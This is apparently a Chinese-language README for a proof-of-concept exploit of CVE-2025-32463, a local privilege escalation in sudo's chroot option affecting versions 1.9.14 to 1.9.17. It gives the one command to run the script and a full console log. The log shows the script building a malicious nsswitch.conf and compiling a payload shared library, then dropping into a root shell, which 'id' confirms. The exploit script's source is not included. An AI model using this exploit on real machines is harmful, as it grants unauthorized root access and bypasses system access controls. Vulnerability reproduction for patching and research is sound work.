CVE-2025-32463 PoC — Sudo 安全漏洞

介绍

# CVE-2025-32463_Exploit

受危害版本 1.9.14 to 1.9.17

```shell
bash run.sh
```
成功如下

```shell
neko@aosc-neko205 [ CVE-2025-32463_Exploit@main ] $ bash run.sh 
[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本
[*] 正在创建临时工作目录...
[*] 工作目录已创建: /tmp/sudo_exploit.nc0EjT
[*] 正在创建 C 语言 payload (woot1337.c)...
[*] 正在设置 chroot 环境和恶意的 nsswitch.conf...
[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)...
[*] 编译成功！
[+] root shell!!!!!
woot!
root@aosc-neko205 [ / ] # id
uid=0(root) gid=0(root) 组=0(root),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1001(neko),1002(gamemode)
root@aosc-neko205 [ / ] # exit
```

文件快照

备注